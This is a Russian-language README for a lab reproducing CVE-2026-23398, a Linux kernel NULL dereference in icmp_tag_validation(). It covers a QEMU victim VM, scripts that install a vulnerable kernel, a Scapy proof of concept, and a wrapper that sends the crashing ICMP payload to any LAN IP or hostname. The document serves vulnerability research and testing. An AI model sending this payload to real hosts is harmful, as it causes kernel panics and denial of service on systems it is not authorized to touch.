
Воспроизводимый лабораторный стенд для CVE-2026-23398 — разыменования NULL-указателя в ядре Linux в функции icmp_tag_validation(), вызываемого ICMP-пакетами Fragmentation Needed, что приводит к отказу в обслуживании. Включает настройку виртуальной машины QEMU, PoC на Scapy и скрипты для тестирования пропатченного и уязвимого ядер.
ip_no_pmtu_disc=3)Воспроизводимая лаборатория для бага ядра Linux в icmp_tag_validation() (разыменование NULL, когда net.ipv4.ip_no_pmtu_disc = 3 и приходит ICMP Fragmentation Needed, чей цитируемый внутренний IPv4-заголовок использует номер протокола без обработчика в inet_protos[]).
Только для авторизованного использования: системы, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Воздействие — отказ в обслуживании (kernel panic).
| Компонент | Назначение |
|---|
QEMU (qemu-system-x86_64, qemu-img) | Виртуальная машина-жертва |
cloud-image-utils (cloud-localds), wget, genisoimage | Cloud-init и загрузка образа |
| Docker + Docker Compose | Отправитель ICMP с хоста (режим сети host) |
| Клиент OpenSSH | Автоматизация по SSH |
SSH-ключ в ~/.ssh/id_ed25519.pub или id_rsa.pub, или sshpass | Вход в гостевую систему без ввода пароля (рекомендуются ключи) |
| sudo | Только для режима TAP (ICMP с хоста на фиксированный IP виртуальной машины) |
Python 3 и Scapy на хосте нужны только в том случае, если вы не используете Docker для удалённых полезных нагрузок.
├── send_frag_needed.py # PoC на Scapy (ICMP 3,4 + внутренний IP с необычным протоколом)
├── send-payload-to-host.sh # Отправка полезной нагрузки на IP/имя хоста в вашей сети
├── docker-compose.yml # Сервис «sender» (сеть host + CAP_NET_RAW)
├── Dockerfile
├── vm/ # Диски, cloud-init seed, последовательные журналы QEMU
└── scripts/
├── fetch-image.sh
├── prepare-disk.sh
├── build-seed-dhcp.sh # DHCP seed (режим usernet)
├── build-seed.sh # Статический seed 192.168.76.2 (режим TAP)
├── vm-start-usernet.sh # QEMU + пользовательская сеть (SSH-порт 2222)
├── vm-stop-usernet.sh
├── vm-start.sh / vm-stop.sh # QEMU + TAP (после tap-up.sh)
├── tap-up.sh / tap-down.sh # TAP-интерфейс на хосте (sudo)
├── run-lab-usernet.sh # Полный процесс: образ + ВМ + Scapy на гостевой системе (свежее ядро)
├── run-lab.sh # Процесс TAP + docker sender → 192.168.76.2
├── install-vulnerable-mainline.sh # Непропатченное mainline 6.12 + PoC через veth (panic)
└── poc-veth-netns.sh # Запуск *внутри* гостевой системы (veth + netns)
Пользовательская сеть QEMU не гарантирует доставку ICMP, отправленного с хоста, в гостевую систему. Автоматизированный процесс устанавливает Scapy на виртуальную машину и запускает скрипт там. Текущее ядро Ubuntu обычно пропатчено: вы увидите «Sent 1 packets», но никакого panic.
cd /path/to/repo
chmod +x scripts/*.sh send-payload-to-host.sh
# Первый запуск: загрузка облачного образа Ubuntu Noble, overlay, seed, запуск QEMU, SSH :2222, apt, PoC
./scripts/run-lab-usernet.sh
ssh -p 2222 [email protected] (пароль lablab, если вы полагаетесь на аутентификацию по паролю)../scripts/vm-stop-usernet.shvm/serial-usernet.logИсправление CVE попало в ядро в марте 2026 года. Более старая сборка mainline (например, 6.12.0 от 2024-11) не содержит этого исправления. Скрипт устанавливает эти .deb-пакеты в виртуальную машину, перезагружает её и запускает PoC с использованием veth + сетевого пространства имён, чтобы ICMP проходил по реальному пути входа (отправка только на собственный loopback/адрес интерфейса гостевой системы недостаточна).
Предупреждение: это обычно заканчивается kernel panic; SSH перестаёт отвечать.
# ВМ usernet запущена (или после того, как run-lab-usernet создал её один раз)
./scripts/vm-start-usernet.sh # если ещё не запущена
./scripts/install-vulnerable-mainline.sh
| Сигнал | Panic произошёл (ожидаемо на уязвимой 6.12) | Panic не произошёл |
|---|---|---|
| SSH сразу после «Running PoC …» | Зависает или Connection timed out / Connection reset | Сессия продолжает работать; вы получаете shell |
Вывод send_frag_needed.py | Вы должны увидеть . Sent 1 packets. до того, как SSH умрёт (часто обрезается, если соединение падает немедленно) | Install Scapy: pip install scapy → Scapy отсутствовал в гостевой системе; ICMP так и не был отправлен. Повторно запустите install-vulnerable-mainline.sh (он устанавливает python3-scapy) или выполните sudo apt install -y python3-scapy на виртуальной машине и запустите PoC снова |
| Последовательный журнал | tail -f vm/serial-usernet.log показывает Kernel panic, icmp_unreach, CR2: 0000000000000010 и т. д. | Строк panic нет; гостевая система продолжает работать |
| Процесс QEMU | Всё ещё работает, но гостевая ОС мертва до перезагрузки | Гостевая система по-прежнему отвечает на порту 2222 |
Примечание о свежем диске: Если вы запускаете только prepare-disk.sh + vm-start-usernet.sh (а не run-lab-usernet.sh), в гостевой системе может не быть python3-scapy, пока install-vulnerable-mainline.sh не установит его (или вы не установите его вручную).
После panic — чистая перезагрузка:
./scripts/vm-stop-usernet.sh
rm -f vm/victim.qcow2
./scripts/prepare-disk.sh
./scripts/build-seed-dhcp.sh
./scripts/vm-start-usernet.sh
# необязательно: переустановить пакеты / повторно запустить install-vulnerable-mainline.sh
Гостевая система использует 192.168.76.2, а хост — 192.168.76.1 на TAP. ICMP ведёт себя как в реальной локальной сети.
./scripts/tap-up.sh # sudo: создаёт icmp-lab-tap0
./scripts/prepare-disk.sh
./scripts/build-seed.sh # статическая адресация в cloud-init
./scripts/vm-start.sh
./scripts/wait-ssh.sh 192.168.76.2
# На ВМ: sysctl -w net.ipv4.ip_no_pmtu_disc=3 и уязвимое ядро, если нужен panic
docker compose build
docker compose run --rm sender 192.168.76.2
./scripts/run-lab.sh объединяет часть этого процесса (требует TAP + Docker).
Удобная обёртка (преобразует имя хоста → IPv4, предпочитает Docker, иначе sudo + Python):
chmod +x send-payload-to-host.sh
docker compose build # один раз
./send-payload-to-host.sh 192.168.1.50
./send-payload-to-host.sh myserver.lan --inner-proto 253 --nexthop-mtu 1200
Без Docker:
sudo pip install scapy # при необходимости
sudo ./send-payload-to-host.sh 192.168.1.50
Условия на стороне цели, которые важны для этого CVE:
net.ipv4.ip_no_pmtu_disc = 3 (усиленный режим PMTU).Если ядро пропатчено или sysctl не равен 3, panic вы не увидите; пакет всё равно может быть передан в сеть.
| Переменная | Описание |
|---|---|
ICMP_LAB_TAP | Имя TAP-устройства (по умолчанию icmp-lab-tap0) |
ICMP_LAB_HOST_IP | Адрес хоста на TAP (по умолчанию 192.168.76.1/24) |
ICMP_LAB_SSH_PORT | SSH-порт usernet (по умолчанию 2222) |
ICMP_LAB_SSH_HOST | SSH-хост (по умолчанию 127.0.0.1) |
icmp: fix NULL pointer dereference in icmp_tag_validation() (коммит 614aefe56af8e в mainline)3: коммит 8ed1dc44d3e9 (hardened ip_no_pmtu_disc)| Цель | Команда |
|---|---|
| Первый запуск лаборатории usernet | ./scripts/run-lab-usernet.sh |
| Запуск / остановка ВМ usernet | ./scripts/vm-start-usernet.sh / ./scripts/vm-stop-usernet.sh |
| Уязвимое ядро + PoC (panic) | ./scripts/install-vulnerable-mainline.sh |
| Сброс диска после panic | rm -f vm/victim.qcow2 && ./scripts/prepare-disk.sh && ./scripts/build-seed-dhcp.sh |
| Полезная нагрузка на IP/хост в LAN | ./send-payload-to-host.sh <IP|hostname> |
| Сборка образа Docker-отправителя | docker compose build |